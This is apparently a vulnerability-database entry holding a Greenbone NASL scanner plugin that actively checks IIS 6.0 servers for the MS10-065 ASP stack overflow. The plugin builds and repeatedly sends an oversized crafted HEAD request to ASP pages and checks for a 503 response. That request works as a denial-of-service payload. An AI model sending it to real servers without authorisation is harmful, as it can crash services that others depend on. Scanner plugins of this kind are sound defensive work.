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Microsoft IIS ASP Stack Based Buffer Overflow Vulnerability (MS10-065) - Active Check

🗓️ 08 Oct 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType 
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Microsoft IIS ASP Stack Based Buffer Overflow Vulnerability. Remote unauthenticated attackers can force the IIS server to become unresponsive until manually restarted by the admin. Exploitable using crafted POST request to hosted 'ASP' pages

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# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:microsoft:internet_information_services";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801520");
  script_version("2026-04-28T06:28:06+0000");
  script_tag(name:"last_modification", value:"2026-04-28 06:28:06 +0000 (Tue, 28 Apr 2026)");
  script_tag(name:"creation_date", value:"2010-10-08 08:29:14 +0200 (Fri, 08 Oct 2010)");
  script_cve_id("CVE-2010-2730");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_name("Microsoft IIS ASP Stack Based Buffer Overflow Vulnerability (MS10-065) - Active Check");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_microsoft_iis_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("IIS/installed");

  script_xref(name:"URL", value:"https://learn.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-065");
  script_xref(name:"URL", value:"http://bug.zerobox.org/show-2780-1.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43138");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/15167/");
  script_xref(name:"URL", value:"http://www.deltadefensesystems.com/blog/?p=217");

  script_tag(name:"summary", value:"Microsoft IIS Webserver is prone to a stack based buffer
  overflow vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP HEAD request and checks if the remote
  service is still available afterwards.");

  script_tag(name:"insight", value:"The flaw is due to a stack overflow error in the IIS worker
  process which can be exploited using a crafted HEAD request to hosted 'ASP' pages.");

  script_tag(name:"impact", value:"Successful exploitation will let the remote unauthenticated
  attackers to force the IIS server to become unresponsive until the IIS service is restarted
  manually by the administrator.");

  script_tag(name:"affected", value:"Microsoft Internet Information Services version 6.0.");

  script_tag(name:"solution", value:"The vendor has released updates. Please see the references for
  more information.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

host = http_host_name( port:port );

foreach file( make_list( "/login.asp", "/index.asp", "/default.asp" ) ) {

  for( i = 0; i < 10; i++ ) {

    string = crap( data:"C=A&", length:160000 );

    req = string("HEAD ", file, " HTTP/1.1 \r\n",
                 "Host: ", host, "\r\n",
                 "Connection:Close \r\n",
                 "Content-Type: application/x-www-form-urlencoded \r\n",
                 "Content-Length:", strlen( string ),"\r\n\r\n", string);
    res = http_send_recv( port:port, data:req );

    if( ereg( pattern:"^HTTP/1\.[01] 503", string:res ) &&
        ( "Service Unavailable" >< res ) ) {
      report = http_report_vuln_url( port:port, url:file );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

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28 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 29.3
EPSS0.32826
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